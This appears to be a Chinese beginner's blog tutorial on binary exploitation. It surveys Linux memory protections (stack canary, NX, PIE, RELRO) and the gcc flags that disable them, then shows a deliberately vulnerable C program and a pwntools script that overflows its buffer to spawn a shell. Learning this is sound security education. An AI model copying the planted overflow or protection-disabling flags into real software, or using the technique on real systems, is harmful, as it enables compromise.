PWN基础3:内存保护概述 和 溢出实例

    技术2026-01-15  6

    0x01 概述

    1、操作系统提供了很多安全机制来尝试降低或阻止缓冲区溢出攻击带来的安全风险

    (1)Stack Canary

    栈溢出保护是一种针对缓冲区溢出攻击的缓解手段。当函数存在缓冲区溢出攻击漏洞时,攻击者可以覆盖栈上的返回地址来让Shellcode能够得到执行。当启用栈保护后,函数开始执行的时候,会先往栈里插入Cookie信息,当函数真正返回的时候会验证Cookie信息是否合法,如果不合法就停止程序运行。攻击者在覆盖返回地址的是否往往也会将Cookie信息给覆盖掉,导致栈保护检查失败而阻止Shellcode的执行。在Linux中,将Cookie信息称为Canarygcc编译程序默认开启添加编译选项 -fno-stack-protector 会关闭程序的stack canary栈保护

    (2)NX

    数据执行保护,NX即No-eXecute(不可执行)的意思,即DEP(Data Execution Prevention)基本原理:是将数据所在内存页标识为不可执行,当程序溢出成功转入Shellcode时,程序会尝试在数据页面上执行指令,此时CPU就会抛出异常,而不是去执行恶意指令。一般来说,NX主要是防止直接在栈、堆上运行Shellcode代码。gcc默认开启NX添加编译选项-z execstack 会关闭NX保护

    (3)PIE

    Position-Independent Executable是一个针对代码段.text、数据段.data、.bss等固定地址的一个防护技术应用了PIE的程序在每次加载时都会变换加载基址,从而使位于程序本身的gadget也失效添加编译选项 -no-pie 会关闭程序的PIE保护

    (4)RELRO

    重定位,设置符号重定向表格为只读或在程序启动时就解析并绑定所有动态符号,从而减少对GOT(Global Offset Table)攻击一般会分为两种情况,即partial relro、full relro,具体区别就是前者重定位信息(如got表)可写,而后者不可写

    2、检查开启保护情况,使用如下命令

    checksec + 程序名

    3、编译时使用如下语句,关闭保护,再查看

    gcc -no-pie -fno-stack-protector -z execstack -m32 -o test hello.c

    4、objdump

    (1)查看test程序的.text段有哪些函数

    objdump -t -j .text test //查看test程序的.text段有哪些函数 -t 显示文件的符号表入口 -j name 仅仅显示指定名称为name的section的信息

    0x02 溢出实例

    #include <stdio.h> #include <unistd.h> #include <stdlib.h> void exploit() { system("/bin/sh"); } void func() { char str[0x20]; read(0,str,0x50); } int main() { func(); return 0; }

    使用如下命令编译

    gcc -no-pie -fno-stack-protector -z execstack -m32 -o read read.c

    编译之后,查看一下保护情况

    查看一下.text段的函数

    使用gdb调试程序

    来查看一下func函数

    exploit函数,这里要记着这个函数的地址,下面我们要用这个函数的地址来覆盖返回地址

    下面,来分析func函数的栈帧,并编写Exp

    这个栈帧配合上上图,对于func函数的汇编代码一起看

    我们的目的,是通过溢出覆盖ret返回地址,来达到我们的目的

    用什么来覆盖?就用exploit函数的地址来覆盖

    这个偏移量是多少?0x4+0x24+0x4=0x2c

    这里,我们使用cyclic来帮助我们计算一下

    在gdb调试read程序的情况下,我们r命令运行,随后将cyclic生成的100长度的串复制过去

    回车运行,触发异常,我们记住黄框标记的异常地址

    使用如下命令来计算偏移,和上面的0x2c对应上了

    下面我们编写Exp

    覆盖ret返回地址,我们使用exploit函数的地址,具体值请看上面图(exploit函数的汇编代码)

    from pwn import * p=process('./read') p.sendline('a'*44+p32(0x08048456)) p.interactive()

    运行上面的exp.py

    OK,我们成功获得Shell

    小白一枚,难免有错误,还请大家多批评指正


    参考:

    Roger师傅的课程

    《CTF特训营》

    Processed: 0.010, SQL: 9